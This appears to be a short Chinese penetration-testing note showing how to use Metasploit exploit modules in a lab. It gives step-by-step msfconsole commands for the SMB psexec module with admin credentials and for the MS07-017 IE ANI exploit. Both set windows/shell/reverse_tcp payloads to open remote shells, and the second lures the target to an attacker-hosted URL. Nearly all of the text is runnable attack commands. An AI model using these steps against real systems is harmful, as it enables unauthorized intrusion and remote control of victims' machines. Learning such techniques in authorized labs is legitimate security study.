【渗透测试笔记】之【MSF Exploit模块】
程序员文章站
2022-05-27 15:45:26
...
Exploit
Active exploit
主动连接,需要目标关闭防火墙。
win8利用smb漏洞演示:
# 使用漏洞模块
msf5 > use exploit/windows/smb/psexec
# 查看选项
msf5 exploit(windows/smb/psexec) > show options
# 配置必要参数(目标主机地址,用户名密码等)
msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.172.132
msf5 exploit(windows/smb/psexec) > set smbuser administrator
msf5 exploit(windows/smb/psexec) > set smbpass 123.com
# 设置payload
msf5 exploit(windows/smb/psexec) > set payload windows/shell/reverse_tcp
# 执行命令(-j为后台执行)
msf5 exploit(windows/smb/psexec) > run -j
# 查看已经建立的session
msf5 exploit(windows/smb/psexec) > sessions
# 连接某个shell(-i后为id号)
msf5 exploit(windows/smb/psexec) > sessions -i 4
获得shell:
Passive Exploit
被动连接,诱使其连接。
win3 IE图片加载漏洞演示:
# 使用模块
msf5 exploit(windows/smb/psexec) > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
# 查看适用目标
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > show targets
# 查看配置选项
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > show options
# 指定伪造网址ip
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set srvhost 192.168.172.129
# 设置反弹shell payload
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set payload windows/shell/reverse_tcp
# 设置接收反弹shell端口(默认4444)
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set lport 5555
# 开始执行
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > run
# 诱使目标主机访问本机:http://192.168.172.129:80/
# 获取shell
msf5 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > sessions -i 1